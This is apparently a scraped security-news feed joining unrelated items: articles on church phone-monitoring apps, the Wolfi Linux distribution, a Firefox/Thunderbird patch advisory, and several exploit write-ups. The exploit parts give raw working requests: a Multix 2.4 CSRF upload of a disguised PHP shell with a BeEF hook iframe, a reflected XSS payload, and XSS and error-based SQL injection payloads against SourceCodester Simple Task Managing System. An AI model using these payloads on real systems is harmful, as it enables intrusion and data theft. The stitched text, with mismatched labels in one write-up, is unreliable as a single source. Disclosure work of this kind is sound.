Churches are using invasive phone-monitoring tech to discourage “sinful” behavior. Some software is seeing more than congregants realize.

Gracepoint is the kind of evangelical Southern Baptist church that’s compelled to publicly enumerate all of the ways it’s not a cult. “We’ll admit that we’re a bit crazy about the Great Commission and sharing the Gospel,” reads an FAQ page titled, “Is Gracepoint a Cult?” So when Grant Hao-Wei Lin came out to a Gracepoint church leader during their weekly one-on-one session, he was surprised to learn that he wasn’t going to be kicked out. According to his church leader, Hao-Wei Lin says, God still loved him in spite of his “struggle with same-sex attraction.”

But Gracepoint did not leave the matter in God’s hands alone. At their next one-on-one the following week, Hao-Wei Lin says the church leader asked him to install an app called Covenant Eyes on his phone. The app is explicitly marketed as anti-pornography software, but according to Hao-Wei Lin, his church leader told him it would help “control all of his urges.”

Covenant Eyes is part of a multimillion-dollar ecosystem of so-called accountability apps that are marketed to both churches and parents as tools to police online activity. For a monthly fee, some of these apps monitor everything their users see and do on their devices, even taking screenshots (at least one per minute, in the case of Covenant Eyes) and eavesdropping on web traffic, WIRED found. The apps then report a feed of all of the users’ online activity directly to a chaperone—an “accountability partner,” in the apps’ parlance. When WIRED presented its findings to Google, however, the company determined that two of the top accountability apps—Covenant Eyes and Accountable2You—violate its policies.

The omnipotence of Covenant Eyes soon weighed heavily on Hao-Wei Lin, who has since left Gracepoint. Within a month of installing the app, he started receiving accusatory emails from his church leader referencing things he had viewed online. “Anything you need to tell me?” reads one email Hao-Wei Lin shared with WIRED. Attached was a report from Covenant Eyes that detailed every single piece of digital content Hao-Wei Lin had consumed the prior week. It was a trail of digital minutiae accumulated from nights spent aimlessly browsing the internet, things Hao-Wei Lin could barely remember having seen—and would have forgotten about had a member of his Church not confronted him. The church leader zeroed in on a single piece of content that Covenant Eyes had flagged as “Mature”: Hao-Wei Lin had searched “#Gay” on a website called Statigr.am, and the app had flagged it.

Gracepoint, which focuses on colleges, claims to “serve students” on more than 70 campuses across the United States. According to emails between a Covenant Eyes representative and a former Gracepoint church leader that WIRED reviewed, the company said that in 2012 as many as 450 Gracepoint Church members were signed up to be monitored through Covenant Eyes.

“I wouldn’t quite call it spyware,” says a former member of Gracepoint who was asked to use Covenant Eyes and spoke on the condition of anonymity, due to privacy concerns. “It’s more like ‘shameware,’ and it’s just another way the church controls you.”

Similar to surveillance software like Bark or NetNanny, which is used to monitor children at home and school, “shameware” apps are lesser-known tools that are used to keep track of behaviors parents or religious organizations deem unhealthy or immoral. Fortify, for instance, was developed by the founder of an anti-pornography nonprofit called Fight the New Drug and tracks how often an individual masturbates in order to help them overcome “sexual compulsivity.” The app has been downloaded over 100,000 times and has thousands of reviews on the Google Play store.

The current iteration of the Covenant Eyes app was developed by Michael Holm, a former NSA mathematician who now serves as a data scientist for the company. The system is allegedly capable of distinguishing between pornographic and non-pornographic images. The software captures everything visible on a device’s screen, analyzing the images locally before slightly blurring them and sending them to a server to be saved. “Image-based pornography detection was a huge conceptual change for Covenant Eyes,” Holm told _The Christian Post_, an evangelical Christian news outlet, in 2019. “While I didn’t yet know it, God had put me in that place at that time for a purpose higher than myself, just as I and others had desired and prayed for.”

Covenant Eyes spokesperson Dan Armstrong says the company is “concerned” about “people being monitored without proper consent.” He adds that “accountability relationships are better off between people who already know each other and want the best for one another, such as close personal friends and family members,” and that the company discourages using its app in relationships with a power imbalance.

Among the top accountability apps—including Accountable2You and EverAccountable—Covenant Eyes appears to be the largest player. The company organizes conferences that are attended by thousands of people and dedicated to educating attendees about the dangers of pornography while pitching the company’s product as an urgent solution to what it characterizes as a growing moral crisis. According to the app analytics firm AppFigures, in the past year more than 50,000 people have downloaded Covenant Eyes. Rocketreach estimates that the company has an annual revenue of $26 million.

Ed Kang, pastor of Gracepoint Church in Berkeley, California, and a major figure in the organization, says in an email that volunteer staff members are required to install Covenant Eyes or Accountable2You “as part of their staff agreement.” But he disputes that church leaders were instructed to monitor congregants’ phone activity. “Usually it’s whoever they \[congregants\] designate, and we actually discourage leaders from being the accountability partners as that seems a bit too heavy,” he writes. (All five former Gracepoint congregants who spoke to WIRED said a church leader was their accountability partner.) Kang adds that the number of Gracepoint congregants who use Covenant Eyes or Accountable2You “may be significantly higher than 450 nowadays” and that Accountable2You “has better pricing.”

What’s common across Covenant Eyes, Accountable2You, and EverAccountable is their zero-tolerance approach to pornography. All three suggest in their marketing materials that not only is watching porn a moral failure, but any amount of porn consumption is bad for your health. Their solution: Promote purity through what they call “radical accountability,” a concept wherein a community comes together to confront a person who is living in sin. At its most basic level, the idea is pretty straightforward: Why would anyone watch porn if they are going to have to talk to their parents or pastor about it?

While these apps claim to have helped many people overcome pornography addictions, experts who study sexual health are skeptical that the apps have a lasting positive effect. “I’ve never seen anyone who’s been on one of these apps feel better about themselves in the long term,” says Nicole Praus, a scientist at the University of California, Los Angeles, who studies the effects of pornography on the brain and the spread of disinformation on sexual health. “These people just end up feeling like there’s something wrong with them when the reality is that there likely isn’t.”

But Covenant Eyes and Accountable2You do much more than just police pornography. When WIRED downloaded, decompiled, and tested Covenant Eyes and Accountable2You, we found that both apps are built to collect, monitor, and report all sorts of innocent behavior. The applications exploited Android’s accessibility permissions to monitor almost everything someone does on their phone. While the accessibility functionalities are meant to help developers build out features that assist people with disabilities, these apps take advantage of such permissions to either capture screenshots of everything actively being viewed on the device or detect the name of apps as they’re being used and record every website visited in the device’s browser.

In Hao-Wei Lin’s case, that included his Amazon purchases, articles he read, and even which friends’ accounts he looked at on Instagram. The trouble is, according to Hao-Wei Lin, providing his church leader with a ledger of everything he did online meant his pastor could always find something to ask him about, and the way Covenant Eyes flagged content didn’t help. For example, in Covenant Eyes reports that Hao-Wei Lin shared with WIRED, his online psychiatry textbook was rated “Highly Mature,” the most severe category of content reserved for “anonymizers, nudity, erotica, and pornography.” The same was true of anything Hao-Wei Lin felt was “remotely gay,” like his Statigr.am searches.

After WIRED contacted Google about Covenant Eyes and Accountable2You, both apps were suspended from the Google Play store. “Google Play permits the use of the Accessibility API for a wide range of applications,” spokesperson Danielle Cohen says in an email. “However, only services that are designed to help people with disabilities access their device or otherwise overcome challenges stemming from their disabilities are eligible to declare that they are accessibility tools.”

Covenant Eyes and Accountable2You both remain available on iOS. While WIRED did not test the apps on Apple devices, neither app appears to utilize iOS’ accessibility permissions. Apple has not yet responded to a request for comment.

In our tests of Accountable2You prior to its suspension, we found that the software similarly flagged content with keywords like “gay” or “lesbian” in the URL. For instance, when we set up a test account and navigated to the US Centers for Disease Control’s website for LGBTQ youth resources, the phone we designated as our accountability partner was immediately texted and emailed a “questionable activity report” indicating that our test phone had visited a “Highly Questionable” website.

“It’s really not about pornography,” says Brit, a former user of Accountable2You who asked to only be identified by her first name, due to privacy concerns. “It’s about making you conform to what your pastor wants.” Brit says she was asked to install the app by her parents after she was caught looking at pornography and that her mother and her pastor were both her designated accountability partners. “I remember I had to sit down and have a conversation with him \[her pastor\] after I Wikipedia’d an article about atheism,” she says. “I was a kid, but that doesn’t mean I don’t have some kind of right to read what I want to read.”

While accountability apps are largely marketed to parents and families, some also advertise their services to churches. Accountable2You, for example, advertises group rates for churches or small groups and has set up several landing pages for specific churches where members can sign up. Covenant Eyes, meanwhile, employs a director of Church and Ministry Outreach to help onboard religious organizations.

Accountable2You did not respond to WIRED’s requests for comment.

Eva Galperin is director of cybersecurity at the Electronic Frontier Foundation, a digital rights nonprofit, and cofounder of the Coalition Against Stalkerware. Galperin says consent to such surveillance is a major concern. “One of the key elements of consent is that a person can feel comfortable saying no,” she says. “You could argue that any app installed in a church setting is done in a coercive manner.” While WIRED did not speak to anyone who was unaware that the app was on their phone, which is often the case with spyware, Hao-Wei Lin says he didn’t feel like he was in a position where he could say no to his church leader when he was asked to install Covenant Eyes. Gracepoint had secured him a $400-a-month apartment in Berkeley, where he was attending college. Without the church’s support, he might have had nowhere to live.

But this is not the experience of everyone we spoke to. James Nagy is a former Gracepoint church member who, as a one-time congregation leader, was on both sides of Covenant Eyes reports. Nagy, who is gay, was taught from a young age that homosexuality was a sin. So when Gracepoint offered him a software solution that claimed to be able to help what he then considered to be a moral dilemma, he jumped at the opportunity. He says that while he believed many people at Gracepoint were pressured to install the app, in his case, the pressure came from himself. “Gracepoint didn’t try to change me,” Nagy says. “I tried to change me.” Nagy is now an elder at the Presbyterian Church (USA) and until 2021 was a facilitator with the Reformation Project, a nonprofit whose mission is to advance LGBTQ inclusion in the church.

In the quest to curb behavior churches deem immoral, these accountability apps will collect and store extremely sensitive personal information from their users, including from those under the age of 18. Fortify, which describes itself as an addiction recovery app, asks its users to log information about when they last masturbated, where they were when it happened, and what device they used. While Fortify’s privacy policy states that the company doesn’t sell or otherwise share this data with third parties, its policy does allow it to share data with trusted third parties to perform statistical analysis, though it does not mention who these trusted third parties are. In a phone call, Clay Olsen, the CEO of Fortify parent company Impact Suite, clarified that these trusted third parties include companies like Mixpanel, an analytics service company that tracks user interactions with web and mobile applications.

While WIRED found several churches recommending Fortify to their congregations, Olsen says neither Fortify nor Impact Suite count religious institutions as customers.

When WIRED tested the Fortify software, we found that the app also utilizes other technology to track users. For instance, because it includes Facebook’s Pixel, data related to Fortify’s masturbation-tracking form is sent to Facebook. While the data does not appear to include the contents of the tracking form, it does have metadata about the form itself, including when it was filled out. Facebook appears to store that data and, when possible, associates it with a user’s account. After setting up a test account with Facebook, logging in, and then interacting with Fortify, we were able to see interactions with Fortify in a copy of the test account’s data obtained through Facebook’s privacy center.

Fortify’s inclusion of Facebook’s Pixel isn’t just a privacy issue, it’s a security problem. While testing the app, we also noticed that the password to our account was sent in plaintext to Facebook in the URL of the tracking requests. Facebook claims to have filtering mechanisms to prevent its systems from storing this type of personal information, but Fortify’s apparent oversight is still concerning to experts like Galperin. “That’s a huge vulnerability,” she says. “It’s the sort of behavior that makes me feel like they don’t have security experts reviewing the app or its policies.”

Facebook spokesperson Emil Vazquez says companies that share sensitive user data with the Meta-owned social media platform are violating its policies. “Advertisers should not send sensitive information about people through our Business Tools. Doing so is against our policies,” Vazquez says. “Our system is designed to filter out potentially sensitive data it is able to detect.” Facebook did not say whether its filters detected the plaintext passwords sent by Fortify.

After being notified of the password issue, Olsen said Fortify would stop transmitting users’ unencrypted passwords to Facebook. As we went to press, the issue had not yet been addressed.

Hao-Wei Lin has since moved on from Gracepoint but is still processing the trauma he feels the church has caused him. I met him earlier this month at his thesis exhibition at Parsons School of Design in New York City, where he is about to get his Master of Fine Arts in photography. He tells me that it was only after he went back to school that he felt he was in a safe enough space to start processing what he went through at Gracepoint.

Hao-Wei Lin’s photography was somber, but not without humor. One was of a 3D rendering of a room where he says he and other members of Gracepoint would meet after their Sunday service. A solitary figure is hunched over praying, his head resting in the seat of his plastic chair. As I look at the photo, Hao-Wei Lin tells me he wants the viewer to feel like they are a surveillance camera perched in the top corner of the room. The name of his work: “Covenant Eyes.”

The Ungodly Surveillance of Anti-Porn ‘Shameware’ Apps

Multix version 2.4 suffers from a cross site request forgery vulnerability.

    # Exploit Title: Multix - Multipurpose Website CMS with Codeigniter Cross Site Request Forgery# Exploit Author: th3d1gger# Vendor Homepage: https://codecanyon.net# Software Link: https://codecanyon.net/item/multix-multipurpose-website-cms-with-codeigniter/23537596# Version: Version 2.4# Tested on Ubuntu 18.04-------Request-----------POST /admin/file/add HTTP/1.1Host: localhostContent-Length: 466Cache-Control: max-age=0sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"Origin: http://localhostUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0mBtYGic6umB5VeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: emptyReferer: http://localhost/admin/file/addAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: allow=1;Connection: close------WebKitFormBoundaryE0mBtYGic6umB5VeContent-Disposition: form-data; name="file_title"<iframe src="http://local.proxy:3000/?url=http://localhost/beefhook.html"></iframe>------WebKitFormBoundaryE0mBtYGic6umB5VeContent-Disposition: form-data; name="file_name"; filename="shell2.php .jpg"Content-Type: imageasdasd------WebKitFormBoundaryE0mBtYGic6umB5VeContent-Disposition: form-data; name="form1"------WebKitFormBoundaryE0mBtYGic6umB5Ve--

Multix 2.4 Cross Site Request Forgery

Multix version 2.4 suffers from a cross site scripting vulnerability.

    # Exploit Title: Multix - Multipurpose Website CMS with Codeigniter Reflected Cross Site Scripting# Exploit Author: th3d1gger# Vendor Homepage: https://codecanyon.net# Software Link: https://codecanyon.net/item/multix-multipurpose-website-cms-with-codeigniter/23537596# Version: Version 2.4# Tested on Ubuntu 18.04-------Request-----------POST /search HTTP/1.1Host: localhostContent-Length: 24Cache-Control: max-age=0sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"Origin: http://localhostUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: emptyReferer: http://localhost/searchAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: allow=1; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6IlRwa1o2cDhxRGtqTUxKL2tLS0NiVGc9PSIsInZhbHVlIjoiajVqT2VOeTk5RmVXY20yaG44ekFQbTc4OFZ3K2EvbThhTFFVUjBzdVpZNmtDQVlocndZU1pEeWFlaURPWDl3V2JsZGFxeDYyR1NWRGoyVHRDYW9iVExUck12NTNjVHZ3VWF2eHNWN1dScXNRdW81ZUNPeldnZ2FRdHVxODlsWnI1cDhWOEcvQlZWSi83VEM5WTJNNC9CME5PWVVyU2dDNWhNcUlvSXU1UWlsQjF2eTYxdmQ2aW5EZHNkYVBQMUpObEN2aFp6Y0tvUkhrUkFac0ZveURZZ0NFMHlPWjRYYSs0eTNTR3VPVXZUMD0iLCJtYWMiOiJjYmU1ZWYxODJlZjYyNzAyODI5YjM4NWEzMDgyYWFkMzA2YmIzOWM3ODA3ZjgyNjMzZWRjMDc3MDkxNWEzZGQ3In0%3D; ci_session=b3568d851b75f1b0191447e7b8ba35860e8c8e56; twk_idm_key=-J__vZrlSOiy2FYLE4Fsu; TawkConnectionTime=0; twk_uuid_5a7c31ded7591465c7077c48=%7B%22uuid%22%3A%221.AGEpC4jGGoH2T6v2QAlePuWJRFfI9oZIu0RUbaNluAgJJzDJQ1zFcS1Fv9uH7mP6PIgcXCE6JVCXLF7JZsX0kHOsQNihqwO81D79ESmlYkVwYf5UHnjWKkJkiJPYK7Dn%22%2C%22version%22%3A3%2C%22domain%22%3Anull%2C%22ts%22%3A1663795200266%7DConnection: closesearch_string=<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>&form1=

Multix 2.4 Cross Site Scripting

Security firm Chainguard has created a simple, open source way for organizations to defend the cloud against some of the most insidious attacks.

In the wake of alarming incidents like Russia’s massive 2017 NotPetya malware attack and the Kremlin’s 2020 SolarWinds cyberespionage campaign—both pulled off by poisoning wells for software distribution—organizations around the world have been scrambling to get a handle on software supply chain security. In general, and for open source software in particular, stronger defense rests in knowing what software you’re actually running, with a crucial focus on enumerating all the little pieces that make up the whole and validating that they are what they should be. That way, when you pack a box of software heirlooms and store it on a shelf, you know there isn’t a live microphone or a Tupperware full of deviled eggs sitting in the box for years. 

Creating a system to generate a manifest of what’s inside every box in every basement and garage is a massive effort, but a new tool from security firm Chainguard aims to do just that for the software "containers” that underly almost all digital services today.

On Thursday, Chainguard launched a Linux distribution called Wolfi that is designed specifically for how digital systems are actually built today in the cloud. Most consumers don’t use Linux, the famed open source operating system, on their personal computers. (If they do, they don’t necessarily know it, as is the case with Android, which is built on a modified version of Linux.) But the open source operating system is widely used in servers and cloud infrastructure around the world, partly because it can be deployed in such flexible ways. Unlike operating systems from Microsoft and Apple, where your only choice is whatever ice cream flavor they release, the open nature of Linux allows developers to create all sorts of flavors—known as “distributions”—to suit specific cravings and needs. But the developers at Chainguard, who have all been working in open source software for years, including on other Linux distributions, felt that a key flavor was missing.

“What we’ve done is built a distribution that we feel will work well for enterprises looking to seriously address supply chain security,” says Chainguard principal engineer Ariadne Conill. “Different distributions have different pieces of software that they include—they’re curated collections of software. By starting with a Linux distribution that gets everything right from the beginning, that’s a huge advantage for software developers to get their own stuff right.”

Think of software containers like a home built out of a shipping container. Everything you need to live is in there, but you can pick up the container house and move it wherever it needs to go. If an operating system is like the appliances, electrical wiring, plumbing, and other infrastructure in the container home, that’s what Wolfi is vetting and pre-itemizing to ensure the security of everything in your container house. Wolfi is designed to work smoothly with other tools from Chainguard that help developers build out and add to the software in their container in a secure way. In other words, it’s simple to validate furniture and personal effects and add them to your container home index. That way, if your house gets broken into, it’s easier to determine what happened and how. And if you ever want to ship your house overseas, you have a detailed manifest to show customs.

“It’s the exact same thing with software as with physical goods—there can be contraband or counterfeit goods that people are trying to hide and sneak by,” says Adolfo Garcia, a software engineer at Chainguard. “For software, if you don’t have the capability to collect the information at build time, you’re going to be missing a lot about what’s in there.”

In software supply chain security, and particularly in open source environments where there are generally fewer resources to invest in improvements, the stakes are high—and governments have started taking the problem seriously. In May 2021, the Biden administration issued an executive order that specifically addressed software supply chain security imperatives. And last week, the White House announced that the US Office of Management and Budget had issued specific supply chain security guidance to federal agencies.

“Not too long ago, the only real criteria for the quality of a piece of software was whether it worked as advertised. With the cyber threats facing Federal agencies, our technology must be developed in a way that makes it resilient and secure,” Chris DeRusha, the US federal chief information security officer and deputy national cyber director, wrote in the White House announcement. "This is not theoretical: Foreign governments and criminal syndicates are regularly seeking ways to compromise our digital infrastructure.”

When it comes to Wolfi, Santiago Torres-Arias, a software supply chain researcher at Purdue University, says that developers could accomplish some of the same protections with other Linux distributions, but that it’s a valuable step to see a release that’s been stripped down and purpose-built with supply chain security and validation in mind.

“There’s past work, including work done by people who are now at Chainguard, that was kind of the precursor of this train of thought that we need to remove the potentially vulnerable elements and list the software included in a particular container or Linux release,” Torres-Arias says. “Something like this is part of a constellation of software supply chain controls. And on a technical level, it’s a straightforward idea. But on a business level, in terms of getting organizations to adopt these practices, it could be very good.”

Both Torres-Arias and Chainguard’s CEO, Dan Lorenc, point out that generating a manifest—known in software supply chain security as a “software bill of materials,” or SBOM—doesn’t produce better security in itself. It’s how organizations act on the information that will really make the difference. But as with anything in security, a defense is only valuable and protective if it’s already in place before something goes awry.

“People have been struggling to make things work with distributions that previously existed and other workarounds,” Chainguard’s Conill says. “But they can have a piece of software, a dependency in there that they didn’t know was there until they find out the hard way. And, you know, suddenly it turns out that there was a little baggie of coke in that teddy bear in the container.”

A New Linux Tool Aims to Guard Against Supply Chain Attacks

Categories: Exploits and vulnerabilities
Categories: News
Tags: CVE-2022-40959

Tags:  CVE-2022-40960

Tags:  CVE-2022-40962

Tags:  CVE-2022-3033

Tags:  Mozilla

Tags:  Firefox

Tags:  Thunderbird

Mozilla has released security updates to address vulnerabilities in Firefox, Firefox ESR, and Thunderbird which could be exploited to take control of a system.



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The post Update Firefox and Thunderbird now! Mozilla patches several high risk vulnerabilities appeared first on Malwarebytes Labs.

Mozilla has released security updates to address vulnerabilities in Firefox, Firefox ESR, and Thunderbird. An attacker could exploit some of these vulnerabilities to take control of an affected system.

In Firefox 105 a total of seven vulnerabilities were patched, three of which received the security risk rating "high". In Thunderbird three security vulnerabilities were patched. One with the rating “high” risk.

Security advisories were published for Firefox 105, Firefox ESR 102.3, and Thunderbird 91.13.1. Firefox 105 is the browser most Mozilla users will have on their system. Firefox Extended Support Release (ESR) is an official version of Firefox developed for large organizations that need to set up and maintain Firefox on a large scale. Thunderbird is Mozilla’s free email application.

**How to update**

To find out which version you are using on a Windows machine, open the application menu and click on **Help > About**. On a Mac, look at the top menu and click **Firefox > About Firefox**. This will show which version you currently have and whether an update is available. On Android use the **My apps & games** item in the PlayStore side-menu and find **Firefox Browser** in the list. Use the **Update** button next to it.

_Downloading available update screen Firefox_

The screens and the way to access them are largely the same for all Mozilla programs, including Thunderbird.

Once you've updated, you're protected against these vulnerabilities.

Stay safe everyone!

**The technical details****Firefox vulnerabilities**

CVE-2022-40959: (High) Bypassing FeaturePolicy restrictions on transient pages. During iframe navigation, certain pages didn't have their FeaturePolicy fully initialized leading to a bypass that leaked device permissions into untrusted subdocuments. The HTTP Feature-Policy header provides a mechanism to allow and deny the use of browser features in its own frame, and in content within any iframe elements in the document.

CVE-2022-40960: (High) Data-race when parsing non-UTF-8 URLs in threads. Concurrent use of the URL parser with non-UTF-8 data was not thread-safe. This could lead to a use-after-free causing a potentially exploitable crash. UTF-8 is an encoding system for Unicode characters. It can translate any Unicode character into a matching unique binary string. A non-UTF-8 character is a sequence of bytes that is not a valid UTF-8 character. Since UTF-8 as character encoding was introduced in 2005, there may be still some URLs which use a different encoding. Or they could be constructed to exploit this vulnerability.

CVE-2022-40962: (High )Memory safety bugs fixed in Firefox 105 and Firefox ESR 102.3. These bugs were found by Mozilla developers and the Mozilla Fuzzing Team. Some of these bugs showed evidence of memory corruption and it is likely that with enough effort some of these could have been exploited to run arbitrary code.

CVE-2022-40958: (Moderate) Bypassing Secure Context restriction for cookies with \_\_Host and \_\_Secure prefix. By injecting a cookie with certain special characters, an attacker on a shared subdomain which is not a secure context could set and thus overwrite cookies from a secure context, leading to session fixation and other attacks. In a session fixation attack, the attacker already has access to a valid session and tries to force the victim to use that particular session for his or her own purposes. In such a case the attack is initiated before the user logs in and the session fixation attack fixes an established session on the victim's browser.

CVE-2022-40961: (Moderate) Stack-buffer overflow when initializing Graphics. During startup, a graphics driver with an unexpected name could lead to a stack-buffer overflow causing a potentially exploitable crash. This issue only affects Firefox for Android. Other operating systems are not affected.

CVE-2022-40956: (Low) Content-Security-Policy (CSP) base-uri bypass. When injecting an HTML base element, some requests would ignore the CSP's base-uri settings and accept the injected element's base instead. The HTTP CSP base-uri directive restricts the URLs which can be used in a document's <base> element.

CVE-2022-40957: (Low) Incoherent instruction cache when building WASM on ARM64. Inconsistent data in instruction and data cache when creating wasm code could lead to a potentially exploitable crash. Wasm is designed as a portable compilation target for programming languages, enabling deployment on the web for client and server applications. This bug only affects Firefox on ARM64 platforms. ARM64 is the architecture used by newer Macs built on Apple Silicon, shipped in late 2020 and beyond.

**Thunderbird**

CVE-2022-3033: (High) Leaking of sensitive information when composing a response to an HTML email with a META refresh tag. If a Thunderbird user replied to a crafted HTML email containing a meta tag, with the meta tag having the http-equiv="refresh" attribute, and the content attribute specifying an URL, then Thunderbird started a network request to that URL, regardless of the configuration to block remote content. In combination with certain other HTML elements and attributes in the email, it was possible to execute JavaScript code included in the message in the context of the message compose document. This bug doesn't affect Thunderbird users who have changed the default Message Body display setting to 'simple html' or 'plain text'.

CVE-2022-3032: (Moderate) When receiving an HTML email that contained an iframe element, which used a srcdoc attribute to define the inner HTML document, remote objects specified in the nested document, for example images or videos, were not blocked. Rather, the network was accessed, the objects were loaded and displayed.

CVE-2022-3034: (Moderate) An iframe element in an HTML email could trigger a network request. When receiving an HTML email that specified to load an iframe element from a remote location, a request to the remote document was sent. However, Thunderbird didn't display the document.

Update Firefox and Thunderbird now! Mozilla patches several high risk vulnerabilities

SourceCodester Simple Task Managing System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component newProjectValidation.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the fullName parameter.

**Simple Task Managing System - XSS2**

A vulnerability classified as problematic was found in SourceCodester Simple Task Managing System. This vulnerability affects unknown code. The manipulation of the argument newProjectValidation.php leads to cross site scripting. The attack can be initiated remotely.

username:admin password:admin ----> {ip}/newProjectValidation.php

Supplier： https://www.sourcecodester.com/php/15624/simple-task-managing-system-php-mysqli-free-source-code.html

/newProjectValidation.php has XSS

> Payload: "><ScRiPt>alert(1)</sCrIpT>

XSS because $full can be closed

**Payload**

GET http://localhost/cve/Task%20Managing%20System%20in%20PHP/newTask.php?sn\=%3CsCrIpT%3Ealert(1)%3C/sCrIpT%3E HTTP/1.1
Host: localhost
Cache\-Control: max\-age\=0
sec\-ch\-ua: ";Not A Brand";v\="99", "Chromium";v\="94"
sec\-ch\-ua\-mobile: ?0
sec\-ch\-ua\-platform: "Windows"
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=34a9idaoj7m7miduqt31hupisn
Connection: close

CVE-2022-40028: CVE_HUNTER/2022-09-01-XSS2.md at main · xidaner/CVE_HUNTER

SourceCodester Simple Task Managing System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component newTask.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the shortName parameter.

**Simple Task Managing System - XSS**

A vulnerability classified as problematic was found in SourceCodester Simple Task Managing System. This vulnerability affects unknown code. The manipulation of the argument newTask.php leads to cross site scripting. The attack can be initiated remotely.

username:admin password:admin ----> {ip}/newTask.php

Supplier： https://www.sourcecodester.com/php/15624/simple-task-managing-system-php-mysqli-free-source-code.html

/board.php has XSS

> Payload: "><ScRiPt>alert(1)</sCrIpT>

XSS because $shortName can be closed

**Payload**

GET http://localhost/cve/Task%20Managing%20System%20in%20PHP/newTask.php?sn\=%3CsCrIpT%3Ealert(1)%3C/sCrIpT%3E HTTP/1.1
Host: localhost
Cache\-Control: max\-age\=0
sec\-ch\-ua: ";Not A Brand";v\="99", "Chromium";v\="94"
sec\-ch\-ua\-mobile: ?0
sec\-ch\-ua\-platform: "Windows"
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=34a9idaoj7m7miduqt31hupisn
Connection: close

CVE-2022-40027: CVE_HUNTER/2022-09-01-XSS1.md at main · xidaner/CVE_HUNTER

SourceCodester Simple Task Managing System v1.0 was discovered to contain a SQL injection vulnerability via the bookId parameter at board.php.

**Simple Task Managing System - SQL injection**

Simple Task Managing System v1.0 exists to contain a SQL injection vulnerability via the bookId parameter at /board.php

username:admin password:admin ----> {ip}/board.php

Supplier： https://www.sourcecodester.com/php/15624/simple-task-managing-system-php-mysqli-free-source-code.html

/board.php has SQL injection

Payload: http://localhost:80/cve/Task Managing System in PHP/board.php?sn=admin1' AND ROW(6066,2526)>(SELECT COUNT(\*),CONCAT(0x7171787a71,(SELECT (ELT(6066=6066,1))),0x71787a6a71,FLOOR(RAND(0)\*2))x FROM (SELECT 5176 UNION SELECT 2058 UNION SELECT 2430 UNION SELECT 5444)a GROUP BY x) AND 'MkOa'='MkOa

SQL injection because $shortName can be closed

**Payload**

GET http://localhost:80/cve/Task Managing System in PHP/board.php?sn\=admin1' AND ROW(6066,2526)>(SELECT COUNT(\*),CONCAT(0x7171787a71,(SELECT (ELT(6066=6066,1))),0x71787a6a71,FLOOR(RAND(0)\*2))x FROM (SELECT 5176 UNION SELECT 2058 UNION SELECT 2430 UNION SELECT 5444)a GROUP BY x) AND 'MkOa'\='MkOa HTTP/1.1
Host: localhost
sec\-ch\-ua: ";Not A Brand";v\="99", "Chromium";v\="94"
sec\-ch\-ua\-mobile: ?0
sec\-ch\-ua\-platform: "Windows"
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=34a9idaoj7m7miduqt31hupisn
Connection: close

CVE-2022-40026: CVE_HUNTER/2022-09-01-SQL1.md at main · xidaner/CVE_HUNTER

Attacks against mobile phones and tablets are increasing, and a WannaCry-level attack could be on the horizon.

Enterprises worldwide are living dangerously, skating by with inadequate visibility and security into their mobile attack surface. While many organizations have adopted some level of management over the mobile devices connected to their systems, it's not the same as mobile security and leaves them unprepared for a growing threat. Attacks against mobile phones and tablets continue to increase, and chances are good that a devastating WannaCry\-level attack is just over the horizon.

